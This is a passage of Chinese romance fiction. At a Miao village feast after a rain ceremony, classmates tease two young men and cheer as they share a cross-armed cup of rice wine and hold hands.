王翠花红着脸，小声补充：“许祭刚才举剑的时候，手都在抖，肯定是硬撑的，但是好帅啊……”
几个刚才尝试拔剑的男生，瘫在地上哭笑不得，揉着发酸的胳膊叹气。“合着不是我们力气小，是我们没那个缘分呗！”“可不是嘛！这剑明显是认人的，除了沈祭司，就认许祭！”
靠窗的男生推了推被雨打湿的眼镜，慢条斯理地总结，一句话戳中所有人的心思：“从民俗角度说，祭祀剑是苗寨的镇寨之宝，非传承人或命定之人不可触碰。许祭一个外来者能拿起来，这意义，不用我多说了吧？”
这话引得众人又是一阵哄笑，口哨声此起彼伏。雨丝落在每个人的脸上，凉丝丝的，心里却都是暖烘烘的，看着祭坛上并肩站着的两人，越看越觉得般配。
雨停了，远山笼着一层薄薄的雾，太阳从云层里探出头，把苗寨的吊脚楼染成了暖金色。长桌宴早就摆开了，青石板路上，一张接一张的木桌拼成长龙，腊肉、酸汤鱼、糯米粑、米酒，香得人垂涎三尺。
同学们跟着寨子里的人，热热闹闹地找位置坐下，赵铁锤一屁股坐在许祭旁边，胳膊肘捅了捅他的腰，挤眉弄眼地笑：“可以啊你小子，深藏不露啊，那剑七八十斤，你居然能举起来！”
许祭刚喝了口米酒，被他捅得呛了一下，脸颊泛红，瞪了他一眼：“瞎说什么呢，我就是运气好。”
“运气好？”苏招端着个酒杯凑过来，眼睛亮得像星星，“我看是缘分吧！你没听见长老说吗？能拿起祭祀剑的，都是和苗寨有缘的人，更是和沈祭司——”
她故意拖长了调子，没说完的话全在眼神里，引得周围的人一阵哄笑。
沈司南刚好端着两碟炸得金黄的蚂蚱过来，听见这话，脚步顿了顿，却没说什么，只是把碟子放在许祭面前，低声道：“尝尝，你爱吃的。”
许祭的脸更红了，低头扒拉着碗里的饭，不敢看他。
这一幕落在同学们眼里，又是一阵起哄。靠窗的男生清了清嗓子，一本正经地站起来，手里举着个米酒碗：“各位！今天娶雨大典圆满成功，沈祭司功不可没，许祭……哦不，许祭也立了大功，居然能举起祭祀剑！我提议，让他俩喝个交杯酒，庆祝一下！”
“好！”赵铁锤第一个响应，拍着桌子喊，“交杯酒！交杯酒！”
话音一落，满桌的人都跟着喊起来，连寨子里的大爷大妈都笑着拍手附和，兰榙更是笑得合不拢嘴，转身就去拿了两个雕花的银酒杯，倒满了醇香的米酒，亲自递到两人手里。
“司南，阿祭，喝了这杯酒，以后就是一家人了。”兰榙的声音温柔，眼里满是欣慰。
沈司南接过酒杯，转头看向许祭。许祭的脸已经红透了，耳根子都在发烫，手里攥着酒杯，指尖微微发颤，却还是抬眼看向他，眼里带着点羞赧，又带着点期待。
周围的起哄声越来越响，苏招举着相机，镜头对准两人，连呼吸都放轻了。
沈司南的嘴角噙着一抹淡淡的笑意，主动伸出手臂，绕过许祭的胳膊，将酒杯递到他唇边。许祭的心跳得飞快，像揣了只兔子，他也学着沈司南的样子，绕过他的胳膊，仰头，将杯中的米酒一饮而尽。
米酒的醇香在嘴里散开，带着点甜，又带着点烈，一路暖到了心底。
两人放下酒杯时，指尖不经意地碰到一起，烫得许祭猛地缩回了手，却被沈司南反手握住，十指紧扣。
全场瞬间爆发出雷鸣般的掌声和欢呼声，口哨声、笑声、叫好声混在一起，震得人耳膜嗡嗡作响。赵铁锤吹着口哨，喊得嗓子都哑了：“锁死！必须锁死！”
苏招连拍了好几张照片，笑得眼睛都眯成了一条缝：“这张绝对能当朋友圈封面！”
王翠花捂着嘴笑，小声跟旁边的女生说：“他们俩站在一起，真的好配啊……”
阳光洒在两人紧扣的手上，洒在满桌的佳肴上，洒在苗寨的每一个角落。风里带着米酒的香，带着青草的香，带着幸福的味道，在山谷里久久回荡。